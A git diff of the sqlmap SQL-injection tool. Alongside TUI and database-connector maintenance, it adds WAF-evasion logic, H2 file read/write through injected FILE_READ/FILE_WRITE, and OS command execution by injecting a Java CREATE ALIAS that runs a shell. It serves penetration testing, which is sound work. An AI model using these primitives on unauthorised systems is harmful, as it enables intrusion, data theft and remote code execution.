self.stdscr.attroff(curses.color_pair(4)) + except: + pass + + # label label = option['label'][:25].ljust(25) + label_attr = curses.color_pair(4) | curses.A_BOLD if is_selected else curses.color_pair(7) try: - if is_selected: - self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) - else: - self.stdscr.attron(curses.color_pair(7)) - + self.stdscr.attron(label_attr) self.stdscr.addstr(y, 2, label) - - if is_selected: - self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) - else: - self.stdscr.attroff(curses.color_pair(7)) + self.stdscr.attroff(label_attr) except: pass - # Draw value - value_str = "" + # value (green once the user has set one, muted "(default)" otherwise) + has_value = option['value'] not in (None, "", False) if option['type'] == 'bool': value = option['value'] if option['value'] is not None else option.get('default') - value_str = "[X]" if value else "[ ]" + value_str = "[x]" if value else "[ ]" + value_attr = curses.color_pair(8) if value else curses.color_pair(5) + elif has_value: + value_str = str(option['value']) + value_attr = curses.color_pair(8) + elif option['default'] not in (None, False): + value_str = "(%s)" % str(option['default']) + value_attr = curses.color_pair(5) else: - value_str = str(option['value']) if option['value'] else "" - if option['default'] and not option['value']: - value_str = "(%s)" % str(option['default']) - - value_str = value_str[:30] + value_str = "" + value_attr = curses.color_pair(5) + if is_selected: + value_attr = curses.color_pair(4) | curses.A_BOLD try: - if is_selected: - self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) - self.stdscr.addstr(y, 28, value_str) - if is_selected: - self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) + self.stdscr.attron(value_attr) + self.stdscr.addstr(y, 28, value_str[:30]) + self.stdscr.attroff(value_attr) except: pass - # Draw help text + # help text (always shown, including on the highlighted row so it stays readable) if width > 65: - help_text = option['help'][:width-62] if option['help'] else "" + help_text = option['help'][:width - 62] if option['help'] else "" + help_attr = curses.color_pair(9) if is_selected else curses.color_pair(5) try: - self.stdscr.attron(curses.color_pair(5)) - self.stdscr.addstr(y, 60, help_text) - self.stdscr.attroff(curses.color_pair(5)) + self.stdscr.attron(help_attr) + self.stdscr.addstr(y, 60, help_text.ljust(width - 61)[:width - 61]) + self.stdscr.attroff(help_attr) except: pass @@ -256,7 +405,7 @@ def _draw_current_tab(self): if len(tab['options']) > visible_end - visible_start: try: self.stdscr.attron(curses.color_pair(6)) - self.stdscr.addstr(height - 2, width - 10, "[More...]") + self.stdscr.addstr(height - 3, width - 10, "[More...]") self.stdscr.attroff(curses.color_pair(6)) except: pass @@ -292,50 +441,57 @@ def _edit_field(self): # Toggle boolean option['value'] = not option['value'] else: - # Text input + # Text input (manual key loop so Esc can cancel and Enter can save) height, width = self.stdscr.getmaxyx() - - # Create input window input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.keypad(True) input_win.box() input_win.attron(curses.color_pair(2)) input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) input_win.attroff(curses.color_pair(2)) - input_win.addstr(2, 2, "Value:") - input_win.refresh() + input_win.attron(curses.color_pair(5)) + input_win.addstr(3, 2, "[Enter] save [Esc] cancel") + input_win.attroff(curses.color_pair(5)) - # Get input - curses.echo() + buffer = str(option['value']) if option['value'] not in (None, "") else "" + max_len = max(1, width - 34) + curses.noecho() curses.curs_set(1) - # Pre-fill with existing value - current_value = str(option['value']) if option['value'] else "" - input_win.addstr(2, 9, current_value) - input_win.move(2, 9) + while True: + shown = buffer[-max_len:] + input_win.addstr(2, 2, "Value: ") + input_win.addstr(2, 9, shown.ljust(max_len)[:max_len]) + input_win.move(2, 9 + len(shown)) + input_win.refresh() - try: - new_value = input_win.getstr(2, 9, width - 32).decode('utf-8') + ch = input_win.getch() + if ch == 27: # Esc -> cancel, keep old value + buffer = None + break + elif ch in (curses.KEY_ENTER, 10, 13): # Enter -> commit + break + elif ch in (curses.KEY_BACKSPACE, 127, 8): + buffer = buffer[:-1] + elif 32 <= ch <= 126: + buffer += chr(ch) - # Validate and convert based on type + curses.curs_set(0) + + if buffer is not None: if option['type'] == 'int': try: - option['value'] = int(new_value) if new_value else None + option['value'] = int(buffer) if buffer else None except ValueError: option['value'] = None elif option['type'] == 'float': try: - option['value'] = float(new_value) if new_value else None + option['value'] = float(buffer) if buffer else None except ValueError: option['value'] = None else: - option['value'] = new_value if new_value else None - except: - pass - - curses.noecho() - curses.curs_set(0) + option['value'] = buffer if buffer else None - # Clear input window input_win.clear() input_win.refresh() del input_win @@ -378,9 +534,9 @@ def _export_config(self): config[dest] = value # Set defaults for unset options - for option in self.parser.option_list: - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) # Save config try: @@ -537,9 +693,9 @@ def _run_sqlmap(self): config[dest] = value # Set defaults for unset options - for option in self.parser.option_list: - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) # Create temp config file handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) @@ -703,6 +859,7 @@ def run(self): self._draw_header() self._draw_tabs() self._draw_current_tab() + self._draw_command() self._draw_footer() self.stdscr.refresh() @@ -713,7 +870,7 @@ def run(self): tab = self.tabs[self.current_tab] # Handle input - if key == curses.KEY_F10 or key == 27: # F10 or ESC + if key == curses.KEY_F10: # F10 quits; Esc intentionally does NOT (it only cancels field edits) break elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow self.current_tab = (self.current_tab + 1) % len(self.tabs) @@ -755,9 +912,17 @@ def runTui(parser): # Check if ncurses is available if curses is None: raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") + # ncurses waits ESCDELAY ms (default 1000) after Esc to disambiguate escape sequences, which + # makes Esc feel like it hangs for ~1s; shrink it so Esc reacts immediately + os.environ.setdefault("ESCDELAY", "25") try: # Initialize and run def main(stdscr): + if hasattr(curses, "set_escdelay"): + try: + curses.set_escdelay(25) + except curses.error: + pass ui = NcursesUI(stdscr, parser) ui.run() diff --git a/lib/utils/wafbypass.py b/lib/utils/wafbypass.py new file mode 100644 index 00000000000..a16f99afb1a --- /dev/null +++ b/lib/utils/wafbypass.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import os +import struct +import sys + +from lib.core.common import fetchRandomAgent +from lib.core.data import conf +from lib.core.data import paths +from lib.core.enums import HTTP_HEADER +from lib.core.enums import PLACE +from lib.core.settings import WAF_BYPASS_HTTP_HEADERS +from lib.core.settings import WAF_BYPASS_TAMPERS + + +def neutralizeFingerprint(): + """ + Makes the request look like a real browser (random non-scanner User-Agent from the canonical + 'txt/user-agents.txt' - the same source as switch '--random-agent' - plus browser Accept/Accept-Language), + used by automatic WAF-bypass. The per-request User-Agent is sourced from conf.parameters[PLACE.USER_AGENT] + (queryPage passes it explicitly, overriding conf.agent), so that is the authoritative knob; conf.agent + and the HTTP header list are updated too. Returns the previous state so the change can be reverted. + """ + + saved = (conf.agent, conf.httpHeaders, conf.parameters.get(PLACE.USER_AGENT)) + + userAgent = fetchRandomAgent() + + conf.agent = userAgent + if PLACE.USER_AGENT in conf.parameters: + conf.parameters[PLACE.USER_AGENT] = userAgent + + overrides = dict(((HTTP_HEADER.USER_AGENT, userAgent),) + tuple(WAF_BYPASS_HTTP_HEADERS)) + upper = dict((_.upper(), _) for _ in overrides) + headers, seen = [], set() + for header, hvalue in conf.httpHeaders: + if header.upper() in upper: + headers.append((header, overrides[upper[header.upper()]])) + seen.add(header.upper()) + else: + headers.append((header, hvalue)) + for header, hvalue in overrides.items(): + if header.upper() not in seen: + headers.append((header, hvalue)) + conf.httpHeaders = headers + + return saved + +# identYwaf encodes each fingerprint as a packed array of 16-bit words, one per provocation +# vector, where the LOW bit marks whether that vector was blocked (lib/../identywaf/identYwaf.py: +# struct.pack(">H", (hash << 1) | blocked)). Decoding the bundled per-WAF signatures therefore +# yields, for free, which constructs a known WAF actually blocks - an empirical prior for picking +# bypass tampers. The two indices below (from data.json "payloads") are the ones we key decisions +# on: comment-obfuscated payloads (whether comment-insertion tampers stand any chance). +_IDENTYWAF_COMMENT_VECTORS = (2, 3, 13) # "1/**/AND/**/1", "1/*0AND*/1", "1/**/UNION/**/SELECT.../information_schema.*" + +_DATA = None + + +def _data(): + global _DATA + if _DATA is None: + path = os.path.join(paths.SQLMAP_ROOT_PATH, "thirdparty", "identywaf", "data.json") + with open(path, "rb") as f: + _DATA = json.loads(f.read().decode("utf-8")) + return _DATA + + +def identYwafBlockedVectors(wafName): + """ + Returns the set of provocation-vector indices that the given (identYwaf) WAF blocks, decoded + from its bundled blind signatures (majority vote across signature variants). Empty set if the + WAF/signatures are unknown. + + >>> isinstance(identYwafBlockedVectors("cloudflare"), set) + True + """ + + retVal = set() + + wafs = _data().get("wafs", {}) + info = wafs.get(wafName) or wafs.get((wafName or "").lower()) + if not info: + return retVal + + expected = len(_data().get("payloads", [])) + counts, total = {}, 0 + for signature in info.get("signatures", []): + try: + raw = base64.b64decode(signature.split(':', 1)[-1]) + except Exception: + continue + words = struct.unpack(">%dH" % (len(raw) // 2), raw) if len(raw) >= 2 else () + if len(words) != expected: # only consider signatures over the current vector set + continue + total += 1 + for index, word in enumerate(words): + if word & 1: + counts[index] = counts.get(index, 0) + 1 + + if total: + retVal = set(index for index, c in counts.items() if c * 2 >= total) # blocked in a majority of variants + + return retVal + + +def candidateTampers(identifiedWafs=None): + """ + Returns the ordered list of candidate tamper-script names for automatic WAF bypass: the + empirically-ranked WAF_BYPASS_TAMPERS, with comment-insertion camouflage pruned when the + identified WAF is known to block comment-obfuscated payloads (so requests aren't wasted on + tampers that can't help). Semantics (and DBMS compatibility) are verified at runtime by + re-running detection through each candidate, so no DBMS pre-filtering is needed here. + + >>> "between" in candidateTampers() + True + >>> "equaltolike" in candidateTampers() + True + """ + + retVal = list(WAF_BYPASS_TAMPERS) + + blocked = set() + for waf in (identifiedWafs or []): + blocked |= identYwafBlockedVectors(waf) + + if blocked and any(_ in blocked for _ in _IDENTYWAF_COMMENT_VECTORS): + retVal = [_ for _ in retVal if not _.startswith("space2") and _ != "versionedkeywords"] + + return retVal + + +def loadTamper(name): + """ + Imports a tamper script by name from the tamper directory and returns its 'tamper' function + (or None if missing). Mirrors the loader in option._setTamperingFunctions, for runtime use. + """ + + dirname = paths.SQLMAP_TAMPER_PATH + if dirname not in sys.path: + sys.path.insert(0, dirname) + + module = __import__(str(name)) + function = getattr(module, "tamper", None) + if function is not None: + function.__name__ = name + + return function diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 1a911b567e3..19aa9713b28 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -26,6 +26,8 @@ class xrange(object): True >>> list(xrange(0, 7, 2)) == list(range(0, 7, 2)) True + >>> list(xrange(8, 0, -2)) == list(range(8, 0, -2)) + True >>> foobar = xrange(1, 10) >>> 7 in foobar True @@ -33,6 +35,12 @@ class xrange(object): False >>> foobar[0] 1 + >>> 6 in xrange(8, 0, -2) + True + >>> 0 in xrange(8, 0, -2) + False + >>> xrange(0, 10, 2).index(4) + 2 """ __slots__ = ['_slice'] @@ -71,10 +79,17 @@ def __len__(self): return self._len() def _len(self): - return max(0, 1 + int((self.stop - 1 - self.start) // self.step)) + if self.step > 0: + lo, hi, step = self.start, self.stop, self.step + else: # Note: normalizing for descending ranges (negative step) + lo, hi, step = self.stop, self.start, -self.step + return max(0, (hi - lo + step - 1) // step) def __contains__(self, value): - return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 + if self.step > 0: + return self.start <= value < self.stop and (value - self.start) % self.step == 0 + else: + return self.stop < value <= self.start and (value - self.start) % self.step == 0 def __getitem__(self, index): if isinstance(index, slice): @@ -98,7 +113,7 @@ def _index(self, i): return self.start + self.step * i def index(self, i): - if self.start <= i < self.stop: - return i - self.start + if i in self: + return (i - self.start) // self.step # Note: also accounts for step != 1 (and descending ranges) else: raise ValueError("%d is not in list" % i) diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 91b8f246649..c1313bbf33d 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -38,7 +38,9 @@ def connect(self): self.checkFileDb() try: - self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) + # ACE driver ('*.mdb, *.accdb') handles both legacy Jet .mdb and modern .accdb (the old '*.mdb'-only + # Jet driver is 32-bit-only and absent on modern installs); honor supplied credentials, not Admin/empty + self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=%s;Uid=%s;Pwd=%s;' % (self.db, self.user or "Admin", self.password or "")) except (pyodbc.Error, pyodbc.OperationalError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py index 2f2d3c5102f..3ba07525be9 100644 --- a/plugins/dbms/cache/connector.py +++ b/plugins/dbms/cache/connector.py @@ -37,15 +37,16 @@ def connect(self): jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar - jvm_path = jpype.getDefaultJVMPath() - jpype.startJVM(jvm_path, args) + if not jpype.isJVMStarted(): + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) try: driver = 'com.intersys.jdbc.CacheDriver' connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) - self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index 83a868de757..12d4987eefe 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -5,7 +5,51 @@ See the file 'LICENSE' for copying permission """ +try: + import clickhouse_connect + import clickhouse_connect.dbapi +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - pass + """ + Homepage: https://github.com/ClickHouse/clickhouse-connect + User guide: https://clickhouse.com/docs/integrations/python + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = clickhouse_connect.dbapi.connect(host=self.hostname, port=self.port, username=self.user, password=self.password, database=self.db) + except clickhouse_connect.dbapi.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index 76aa9ea390c..cd869ec20a5 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -30,8 +30,10 @@ def connect(self): self.initConnection() try: - self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) - except CUBRIDdb.DatabaseError as ex: + # CUBRIDdb.connect takes a positional URL 'CUBRID:host:port:db:::' then user/password positionally + # (it does not accept hostname/username/database keyword args, which raised a TypeError before) + self.connector = CUBRIDdb.connect("CUBRID:%s:%s:%s:::" % (self.hostname, self.port, self.db), str(self.user), str(self.password)) + except CUBRIDdb.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 0a8e96b7a34..7e30a336950 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -32,7 +32,7 @@ def connect(self): try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError as ex: + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 7ba5c8b9f38..2dd6088a662 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -5,7 +5,8 @@ See the file 'LICENSE' for copying permission """ -from lib.core.convert import getOrds +from lib.core.convert import getBytes +from lib.core.settings import UNICODE_ENCODING from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -17,6 +18,13 @@ def escape(expression, quote=True): """ def escaper(value): - return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + # CHR() is byte-based on DB2, so a non-ASCII codepoint needs its UTF-8 bytes to form a single char + result = [] + for char in value: + if ord(char) < 128: + result.append("CHR(%d)" % ord(char)) + else: + result.extend("CHR(%d)" % _ for _ in bytearray(getBytes(char, UNICODE_ENCODING, errors="replace", unsafe=False))) + return "||".join(result) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py index 7be45f7412b..1069977b203 100644 --- a/plugins/dbms/derby/connector.py +++ b/plugins/dbms/derby/connector.py @@ -30,7 +30,7 @@ def connect(self): self.initConnection() try: - self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port, user=self.user or None, password=self.password or None) except drda.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index ac00ce03173..9e21a711fb0 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -6,7 +6,7 @@ """ try: - import kinterbasdb + import firebirdsql except: pass @@ -16,15 +16,16 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException -from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ - Homepage: http://kinterbasdb.sourceforge.net/ - User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html - Debian package: python-kinterbasdb + Homepage: https://github.com/nakagami/pyfirebirdsql + User guide: https://pyfirebirdsql.readthedocs.io/ + Debian package: python3-firebirdsql License: BSD + + Note: ported from the (Python 2-only, unmaintained) kinterbasdb driver to firebirdsql """ # sample usage: @@ -37,9 +38,8 @@ def connect(self): self.checkFileDb() try: - # Reference: http://www.daniweb.com/forums/thread248499.html - self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") - except kinterbasdb.OperationalError as ex: + self.connector = firebirdsql.connect(host=self.hostname, database=self.db, port=self.port or 3050, user=self.user, password=self.password, charset="UTF8") + except firebirdsql.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() @@ -48,20 +48,25 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except kinterbasdb.OperationalError as ex: + except firebirdsql.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): try: self.cursor.execute(query) - except kinterbasdb.OperationalError as ex: + except firebirdsql.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) - except kinterbasdb.Error as ex: + except firebirdsql.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) - self.connector.commit() + # commit non-SELECT (DML) here; select() commits only AFTER fetchall() because a Firebird COMMIT closes + # open cursors (discarding an unfetched result set) + if commit: + self.connector.commit() def select(self, query): - self.execute(query) - return self.fetchall() + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index db0bbc07a56..8ef60d7ea95 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -72,9 +72,11 @@ def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), - ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), - ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), - ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), + # Note: NULLIF(), CURRENT_TIME(), BIT_LENGTH(), CHAR_LENGTH() and RAND() are all blacklisted + # by WAF/IPS (e.g. OWASP CRS rule 942151), so only markers from the same releases are kept + ("1.5", ("EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)",)), + ("2.0", ("EXISTS(SELECT 1 FROM RDB$DATABASE ROWS 1)",)), + ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "FLOOR(1.%d)>=0")), ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ) diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index f607dc2438c..e29f2fe8dfe 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -5,14 +5,44 @@ See the file 'LICENSE' for copying permission """ -from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.common import checkFile +from lib.core.convert import encodeHex +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, remoteFile): - errMsg = "on H2 it is not possible to read files" - raise SqlmapUnsupportedFeatureException(errMsg) + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required) + result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + return result + + def stackedReadFile(self, remoteFile): + # H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive + return self.nonStackedReadFile(remoteFile) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - errMsg = "on H2 it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + checkFile(localFile) + self.checkDbmsOs() + + with open(localFile, "rb") as f: + content = f.read() + + infoMsg = "writing the file content to '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no + # stacked queries. Content is passed as a binary hex literal (X'..') so arbitrary/binary bytes survive + # byte-for-byte - the old STRINGTOUTF8() of a getText()-decoded string mangled any non-UTF-8 content, + # and H2 has no string->binary decoder (HEXTORAW/base64/UNHEX absent); cf. MySQL's 0x literal + inject.getValue("CAST(FILE_WRITE(X'%s','%s') AS INT)" % (encodeHex(content, binary=False), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 7125b27cec3..aa0284cbb91 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -93,7 +93,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST() if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 @@ -119,3 +119,10 @@ def checkDbms(self): def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 29ba323a57c..50b62af5444 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -5,17 +5,42 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import OS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.runCmd(conf.osCmd) def osShell(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.shell() + + def _createExecAlias(self): + # NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids + # single-quote escaping and survives stacked-query injection intact + if not kb.get("h2ExecAlias"): + kb.h2ExecAlias = randomStr(lowercase=True) + argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"' + # NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL + # statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java + source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv + inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source)) + + def h2ExecCmd(self, cmd, silent=False): + self._createExecAlias() + inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''"))) + + def h2EvalCmd(self, cmd, first=None, last=None): + self._createExecAlias() + return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False) def osPwn(self): errMsg = "on H2 it is not possible to establish an " diff --git a/plugins/dbms/hana/__init__.py b/plugins/dbms/hana/__init__.py new file mode 100644 index 00000000000..81dbccf257c --- /dev/null +++ b/plugins/dbms/hana/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import HANA_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.hana.enumeration import Enumeration +from plugins.dbms.hana.filesystem import Filesystem +from plugins.dbms.hana.fingerprint import Fingerprint +from plugins.dbms.hana.syntax import Syntax +from plugins.dbms.hana.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class HANAMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines SAP HANA methods + """ + + def __init__(self): + self.excludeDbsList = HANA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.HANA] = Syntax.escape diff --git a/plugins/dbms/hana/connector.py b/plugins/dbms/hana/connector.py new file mode 100644 index 00000000000..b01385ce82a --- /dev/null +++ b/plugins/dbms/hana/connector.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + from hdbcli import dbapi +except ImportError: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.org/project/hdbcli/ + User guide: https://help.sap.com/docs/SAP_HANA_PLATFORM/f1b440ded6144a54ada97ff95dac7adf/4fe9978ebac44f35b9369ef5a4a6d73e.html + API: https://help.sap.com/docs/SAP_HANA_CLIENT/f1b440ded6144a54ada97ff95dac7adf/39eb663beaab4f7b94850834e6cb6280.html + Debian package: not available + License: SAP Developer License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = dbapi.connect(address=self.hostname, port=self.port, user=self.user, password=self.password, databaseName=self.db) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except dbapi.Error as ex: + logger.warning(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except dbapi.Error as ex: + logger.warning(("(remote) '%s'" % 